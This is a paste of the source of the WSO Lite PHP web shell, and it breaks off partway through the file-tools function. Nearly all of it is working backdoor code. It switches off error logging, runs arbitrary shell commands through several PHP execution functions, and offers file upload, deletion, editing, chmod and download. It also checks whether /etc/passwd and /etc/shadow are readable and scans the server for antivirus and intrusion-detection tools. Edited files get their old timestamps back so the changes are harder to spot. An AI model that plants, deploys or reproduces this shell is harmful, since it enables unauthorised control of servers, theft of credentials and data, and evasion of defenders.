· 10 years ago · Apr 01, 2016, 03:39 PM
1<?php
2$color = "#999966";
3$default_action = 'FilesMan';
4$default_use_ajax = true;
5$default_charset = 'Windows-1251';
6
7@session_start();
8@ini_set('error_log',NULL);
9@ini_set('log_errors',0);
10@ini_set('max_execution_time',0);
11@set_time_limit(0);
12@set_magic_quotes_runtime(0);
13@define('WSO_VERSION', 'Lite 1.0');
14
15if(get_magic_quotes_gpc()) {
16 function WSOstripslashes($array) {
17 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
18 }
19 $_POST = WSOstripslashes($_POST);
20}
21
22if(strtolower(substr(PHP_OS,0,3)) == "win")
23 $os = 'win';
24else
25 $os = 'nix';
26
27$safe_mode = @ini_get('safe_mode');
28if(!$safe_mode)
29 error_reporting(0);
30
31$disable_functions = @ini_get('disable_functions');
32$home_cwd = @getcwd();
33if(isset($_POST['c']))
34 @chdir($_POST['c']);
35$cwd = @getcwd();
36if($os == 'win') {
37 $home_cwd = str_replace("\\", "/", $home_cwd);
38 $cwd = str_replace("\\", "/", $cwd);
39}
40if( $cwd[strlen($cwd)-1] != '/' )
41 $cwd .= '/';
42
43if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
44 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
45
46function wsoHeader() {
47 if(empty($_POST['charset']))
48 $_POST['charset'] = $GLOBALS['default_charset'];
49 global $color;
50 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
51<style>
52body {background-color:#000;color:#fff;}
53body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
54span,h1,a{ color: $color !important; }
55span{ font-weight: bolder; }
56h1{ border:1px solid $color;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
57div.content{ padding: 5px;margin-left:5px;}
58a{ text-decoration:none; }
59a:hover{ background:#ff0000; }
60.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
61.bigarea{ width:100%;height:250px; }
62input, textarea, select{ margin:0;color:#999966;background-color:#000;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
63form{ margin:0px; }
64#toolsTbl{ text-align:center; }
65.toolsInp{ width: 80%; }
66.main th{text-align:left;}
67.main tr:hover{background-color:#5e5e5e;}
68.main td, th{vertical-align:middle;}
69pre{font-family:Courier,Monospace;}
70#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
71</style>
72<script>
73 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
74 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
75 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
76 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
77 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
78 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
79 var d = document;
80 function set(a,c,p1,p2,p3,charset) {
81 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
82 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
83 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
84 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
85 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
86 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
87 }
88 function g(a,c,p1,p2,p3,charset) {
89 set(a,c,p1,p2,p3,charset);
90 d.mf.submit();
91 }
92 function a(a,c,p1,p2,p3,charset) {
93 set(a,c,p1,p2,p3,charset);
94 var params = 'ajax=true';
95 for(i=0;i<d.mf.elements.length;i++)
96 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
97 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
98 }
99 function sr(url, params) {
100 if (window.XMLHttpRequest)
101 req = new XMLHttpRequest();
102 else if (window.ActiveXObject)
103 req = new ActiveXObject('Microsoft.XMLHTTP');
104 if (req) {
105 req.onreadystatechange = processReqChange;
106 req.open('POST', url, true);
107 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
108 req.send(params);
109 }
110 }
111 function processReqChange() {
112 if( (req.readyState == 4) )
113 if(req.status == 200) {
114 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
115 var arr=reg.exec(req.responseText);
116 eval(arr[2].substr(0, arr[1]));
117 } else alert('Request error!');
118 }
119</script>
120<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'>
121<form method=post name=mf style='display:none;'>
122<input type=hidden name=a>
123<input type=hidden name=c>
124<input type=hidden name=p1>
125<input type=hidden name=p2>
126
127<input type=hidden name=p3>
128<input type=hidden name=charset>
129</form>";
130 $freeSpace = @diskfreespace($GLOBALS['cwd']);
131 $totalSpace = @disk_total_space($GLOBALS['cwd']);
132 $totalSpace = $totalSpace?$totalSpace:1;
133 $release = @php_uname('r');
134 $kernel = @php_uname('s');
135 if(!function_exists('posix_getegid')) {
136 $user = @get_current_user();
137 $uid = @getmyuid();
138 $gid = @getmygid();
139 $group = "?";
140 } else {
141 $uid = @posix_getpwuid(posix_geteuid());
142 $gid = @posix_getgrgid(posix_getegid());
143 $user = $uid['name'];
144 $uid = $uid['uid'];
145 $group = $gid['name'];
146 $gid = $gid['gid'];
147 }
148
149 $cwd_links = '';
150 $path = explode("/", $GLOBALS['cwd']);
151 $n=count($path);
152 for($i=0; $i<$n-1; $i++) {
153 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
154 for($j=0; $j<=$i; $j++)
155 $cwd_links .= $path[$j].'/';
156 $cwd_links .= "\")'>".$path[$i]."/</a>";
157 }
158
159 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
160 $opt_charsets = '';
161 foreach($charsets as $item)
162 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
163
164 $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','Network'=>'Network');
165 $menu = '';
166 foreach($m as $k => $v)
167 $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
168
169 $drives = "";
170 if($GLOBALS['os'] == 'win') {
171 foreach(range('c','z') as $drive)
172 if(is_dir($drive.':\\'))
173 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
174 }
175 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
176 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
177 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
178 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
179 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
180}
181
182function wsoFooter() {
183 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
184 echo "
185
186</div>
187<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
188 <tr>
189 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
190 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
191 </tr><tr>
192 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
193 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
194
195 </tr><tr>
196 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
197 <td><form method='post' ENCTYPE='multipart/form-data'>
198 <input type=hidden name=a value='FilesMAn'>
199 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
200 <input type=hidden name=p1 value='uploadFile'>
201 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
202 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
203
204 </tr></table></div></body></html>";
205}
206
207if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
208 function posix_getpwuid($p) {return false;} }
209if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
210 function posix_getgrgid($p) {return false;} }
211
212function wsoEx($in) {
213 $out = '';
214 if (function_exists('exec')) {
215 @exec($in,$out);
216 $out = @join("\n",$out);
217 } elseif (function_exists('passthru')) {
218 ob_start();
219 @passthru($in);
220 $out = ob_get_clean();
221 } elseif (function_exists('system')) {
222 ob_start();
223 @system($in);
224 $out = ob_get_clean();
225 } elseif (function_exists('shell_exec')) {
226 $out = shell_exec($in);
227 } elseif (is_resource($f = @popen($in,"r"))) {
228 $out = "";
229 while(!@feof($f))
230 $out .= fread($f,1024);
231 pclose($f);
232 }
233 return $out;
234}
235function wsoViewSize($s) {
236 if($s >= 1073741824)
237 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
238 elseif($s >= 1048576)
239 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
240 elseif($s >= 1024)
241 return sprintf('%1.2f', $s / 1024 ) . ' KB';
242 else
243 return $s . ' B';
244}
245
246function wsoPerms($p) {
247 if (($p & 0xC000) == 0xC000)$i = 's';
248 elseif (($p & 0xA000) == 0xA000)$i = 'l';
249 elseif (($p & 0x8000) == 0x8000)$i = '-';
250 elseif (($p & 0x6000) == 0x6000)$i = 'b';
251 elseif (($p & 0x4000) == 0x4000)$i = 'd';
252 elseif (($p & 0x2000) == 0x2000)$i = 'c';
253 elseif (($p & 0x1000) == 0x1000)$i = 'p';
254 else $i = 'u';
255 $i .= (($p & 0x0100) ? 'r' : '-');
256 $i .= (($p & 0x0080) ? 'w' : '-');
257 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
258 $i .= (($p & 0x0020) ? 'r' : '-');
259 $i .= (($p & 0x0010) ? 'w' : '-');
260 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
261 $i .= (($p & 0x0004) ? 'r' : '-');
262 $i .= (($p & 0x0002) ? 'w' : '-');
263 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
264 return $i;
265}
266
267function wsoPermsColor($f) {
268 if (!@is_readable($f))
269 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
270 elseif (!@is_writable($f))
271 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
272 else
273 return '<font color=#00BB00>' . wsoPerms(@fileperms($f)) . '</font>';
274}
275
276if(!function_exists("scandir")) {
277 function scandir($dir) {
278 $dh = opendir($dir);
279 while (false !== ($filename = readdir($dh)))
280 $files[] = $filename;
281 return $files;
282 }
283}
284
285function wsoWhich($p) {
286 $path = wsoEx('which ' . $p);
287 if(!empty($path))
288 return $path;
289 return false;
290}
291
292function actionSecInfo() {
293 wsoHeader();
294 echo '<h1>Server security information</h1><div class=content>';
295 function wsoSecParam($n, $v) {
296 $v = trim($v);
297 if($v) {
298 echo '<span>' . $n . ': </span>';
299 if(strpos($v, "\n") === false)
300 echo $v . '<br>';
301 else
302 echo '<pre class=ml1>' . $v . '</pre>';
303 }
304 }
305
306 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
307 if(function_exists('apache_get_modules'))
308 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
309 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
310 wsoSecParam('Open base dir', @ini_get('open_basedir'));
311 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
312 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
313 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
314 $temp=array();
315 if(function_exists('mysql_get_client_info'))
316 $temp[] = "MySql (".mysql_get_client_info().")";
317 if(function_exists('mssql_connect'))
318 $temp[] = "MSSQL";
319 if(function_exists('pg_connect'))
320 $temp[] = "PostgreSQL";
321 if(function_exists('oci_connect'))
322 $temp[] = "Oracle";
323 wsoSecParam('Supported databases', implode(', ', $temp));
324 echo '<br>';
325
326 if($GLOBALS['os'] == 'nix') {
327 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
328 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
329 wsoSecParam('OS version', @file_get_contents('/proc/version'));
330 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
331 if(!$GLOBALS['safe_mode']) {
332 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
333 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
334 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
335 echo '<br>';
336 $temp=array();
337 foreach ($userful as $item)
338 if(wsoWhich($item))
339 $temp[] = $item;
340 wsoSecParam('Userful', implode(', ',$temp));
341 $temp=array();
342 foreach ($danger as $item)
343 if(wsoWhich($item))
344 $temp[] = $item;
345 wsoSecParam('Danger', implode(', ',$temp));
346 $temp=array();
347 foreach ($downloaders as $item)
348 if(wsoWhich($item))
349 $temp[] = $item;
350 wsoSecParam('Downloaders', implode(', ',$temp));
351 echo '<br/>';
352 wsoSecParam('HDD space', wsoEx('df -h'));
353 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
354 }
355 } else {
356 wsoSecParam('OS Version',wsoEx('ver'));
357 wsoSecParam('Account Settings',wsoEx('net accounts'));
358 wsoSecParam('User Accounts',wsoEx('net user'));
359 }
360 echo '</div>';
361 wsoFooter();
362}
363
364function actionFilesMan() {
365 wsoHeader();
366 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
367 if(!empty($_POST['p1'])) {
368 switch($_POST['p1']) {
369 case 'uploadFile':
370 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
371 echo "Can't upload file!";
372 break;
373 case 'mkdir':
374 if(!@mkdir($_POST['p2']))
375 echo "Can't create new dir";
376 break;
377 case 'delete':
378 function deleteDir($path) {
379 $path = (substr($path,-1)=='/') ? $path:$path.'/';
380 $dh = opendir($path);
381 while ( ($item = readdir($dh) ) !== false) {
382 $item = $path.$item;
383 if ( (basename($item) == "..") || (basename($item) == ".") )
384 continue;
385 $type = filetype($item);
386 if ($type == "dir")
387 deleteDir($item);
388 else
389 @unlink($item);
390 }
391 closedir($dh);
392 @rmdir($path);
393 }
394 if(is_array(@$_POST['f']))
395 foreach($_POST['f'] as $f) {
396 if($f == '..')
397 continue;
398 $f = urldecode($f);
399 if(is_dir($f))
400 deleteDir($f);
401 else
402 @unlink($f);
403 }
404 break;
405 case 'paste':
406 if($_SESSION['act'] == 'copy') {
407 function copy_paste($c,$s,$d){
408 if(is_dir($c.$s)){
409 mkdir($d.$s);
410 $h = @opendir($c.$s);
411 while (($f = @readdir($h)) !== false)
412 if (($f != ".") and ($f != ".."))
413 copy_paste($c.$s.'/',$f, $d.$s.'/');
414 } elseif(is_file($c.$s))
415 @copy($c.$s, $d.$s);
416 }
417 foreach($_SESSION['f'] as $f)
418 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
419 } elseif($_SESSION['act'] == 'move') {
420 function move_paste($c,$s,$d){
421 if(is_dir($c.$s)){
422 mkdir($d.$s);
423 $h = @opendir($c.$s);
424 while (($f = @readdir($h)) !== false)
425 if (($f != ".") and ($f != ".."))
426 copy_paste($c.$s.'/',$f, $d.$s.'/');
427 } elseif(@is_file($c.$s))
428 @copy($c.$s, $d.$s);
429 }
430 foreach($_SESSION['f'] as $f)
431 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
432 } elseif($_SESSION['act'] == 'zip') {
433 if(class_exists('ZipArchive')) {
434 $zip = new ZipArchive();
435 if ($zip->open($_POST['p2'], 1)) {
436 chdir($_SESSION['c']);
437 foreach($_SESSION['f'] as $f) {
438 if($f == '..')
439 continue;
440 if(@is_file($_SESSION['c'].$f))
441 $zip->addFile($_SESSION['c'].$f, $f);
442 elseif(@is_dir($_SESSION['c'].$f)) {
443 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
444 foreach ($iterator as $key=>$value) {
445 $zip->addFile(realpath($key), $key);
446 }
447 }
448 }
449 chdir($GLOBALS['cwd']);
450 $zip->close();
451 }
452 }
453 } elseif($_SESSION['act'] == 'unzip') {
454 if(class_exists('ZipArchive')) {
455 $zip = new ZipArchive();
456 foreach($_SESSION['f'] as $f) {
457 if($zip->open($_SESSION['c'].$f)) {
458 $zip->extractTo($GLOBALS['cwd']);
459 $zip->close();
460 }
461 }
462 }
463 } elseif($_SESSION['act'] == 'tar') {
464 chdir($_SESSION['c']);
465 $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
466 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
467 chdir($GLOBALS['cwd']);
468 }
469 unset($_SESSION['f']);
470 break;
471 default:
472 if(!empty($_POST['p1'])) {
473 $_SESSION['act'] = @$_POST['p1'];
474 $_SESSION['f'] = @$_POST['f'];
475 foreach($_SESSION['f'] as $k => $f)
476 $_SESSION['f'][$k] = urldecode($f);
477 $_SESSION['c'] = @$_POST['c'];
478 }
479 break;
480 }
481 }
482 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
483 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
484 global $sort;
485 $sort = array('name', 1);
486 if(!empty($_POST['p1'])) {
487 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
488 $sort = array($match[1], (int)$match[2]);
489 }
490echo "<script>
491 function sa() {
492 for(i=0;i<d.files.elements.length;i++)
493 if(d.files.elements[i].type == 'checkbox')
494 d.files.elements[i].checked = d.files.elements[0].checked;
495 }
496
497</script>
498<table width='100%' class='main' cellspacing='0' cellpadding='2'>
499<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
500 $dirs = $files = array();
501 $n = count($dirContent);
502 for($i=0;$i<$n;$i++) {
503 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
504 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
505 $tmp = array('name' => $dirContent[$i],
506 'path' => $GLOBALS['cwd'].$dirContent[$i],
507 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
508 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
509 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
510 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
511 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
512 );
513 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
514 $files[] = array_merge($tmp, array('type' => 'file'));
515 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
516 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
517 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
518 $dirs[] = array_merge($tmp, array('type' => 'dir'));
519 }
520 $GLOBALS['sort'] = $sort;
521 function wsoCmp($a, $b) {
522 if($GLOBALS['sort'][0] != 'size')
523 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
524 else
525 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
526 }
527 usort($files, "wsoCmp");
528 usort($dirs, "wsoCmp");
529 $files = array_merge($dirs, $files);
530 $l = 0;
531 foreach($files as $f) {
532 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
533 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
534 $l = $l?0:1;
535 }
536 echo "<tr><td colspan=7>
537
538 <input type=hidden name=a value='FilesMan'>
539 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
540 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
541 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
542 if(class_exists('ZipArchive'))
543 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
544 echo "<option value='tar'>Compress (tar.gz)</option>";
545 if(!empty($_SESSION['act']) && @count($_SESSION['f']))
546 echo "<option value='paste'>Paste / Compress</option>";
547 echo "</select> ";
548 if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
549 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
550 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
551 wsoFooter();
552}
553
554function actionFilesTools() {
555 if( isset($_POST['p1']) )
556 $_POST['p1'] = urldecode($_POST['p1']);
557 if(@$_POST['p2']=='download') {
558 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
559 ob_start("ob_gzhandler", 4096);
560 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
561 if (function_exists("mime_content_type")) {
562 $type = @mime_content_type($_POST['p1']);
563 header("Content-Type: " . $type);
564 } else
565 header("Content-Type: application/octet-stream");
566 $fp = @fopen($_POST['p1'], "r");
567 if($fp) {
568 while(!@feof($fp))
569 echo @fread($fp, 1024);
570 fclose($fp);
571 }
572 }exit;
573 }
574 if( @$_POST['p2'] == 'mkfile' ) {
575 if(!file_exists($_POST['p1'])) {
576 $fp = @fopen($_POST['p1'], 'w');
577 if($fp) {
578 $_POST['p2'] = "edit";
579 fclose($fp);
580 }
581 }
582 }
583 wsoHeader();
584 echo '<h1>File tools</h1><div class=content>';
585 if( !file_exists(@$_POST['p1']) ) {
586 echo 'File not exists';
587 wsoFooter();
588 return;
589 }
590 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
591 if(!$uid) {
592 $uid['name'] = @fileowner($_POST['p1']);
593 $gid['name'] = @filegroup($_POST['p1']);
594 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
595 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
596 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
597 if( empty($_POST['p2']) )
598 $_POST['p2'] = 'view';
599 if( is_file($_POST['p1']) )
600 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
601 else
602 $m = array('Chmod', 'Rename', 'Touch');
603 foreach($m as $v)
604 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
605 echo '<br><br>';
606 switch($_POST['p2']) {
607 case 'view':
608 echo '<pre class=ml1>';
609 $fp = @fopen($_POST['p1'], 'r');
610 if($fp) {
611 while( !@feof($fp) )
612 echo htmlspecialchars(@fread($fp, 1024));
613 @fclose($fp);
614 }
615 echo '</pre>';
616 break;
617 case 'highlight':
618 if( @is_readable($_POST['p1']) ) {
619 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
620 $code = @highlight_file($_POST['p1'],true);
621 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
622 }
623 break;
624 case 'chmod':
625 if( !empty($_POST['p3']) ) {
626 $perms = 0;
627 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
628 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
629 if(!@chmod($_POST['p1'], $perms))
630 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
631 }
632 clearstatcache();
633 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
634 break;
635 case 'edit':
636 if( !is_writable($_POST['p1'])) {
637 echo 'File isn\'t writeable';
638 break;
639 }
640 if( !empty($_POST['p3']) ) {
641 $time = @filemtime($_POST['p1']);
642 $_POST['p3'] = substr($_POST['p3'],1);
643 $fp = @fopen($_POST['p1'],"w");
644 if($fp) {
645 @fwrite($fp,$_POST['p3']);
646 @fclose($fp);
647 echo 'Saved!<br><script>p3_="";</script>';
648 @touch($_POST['p1'],$time,$time);
649 }
650 }
651 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
652 $fp = @fopen($_POST['p1'], 'r');
653 if($fp) {
654 while( !@feof($fp) )
655 echo htmlspecialchars(@fread($fp, 1024));
656 @fclose($fp);
657 }
658 echo '</textarea><input type=submit value=">>"></form>';
659 break;
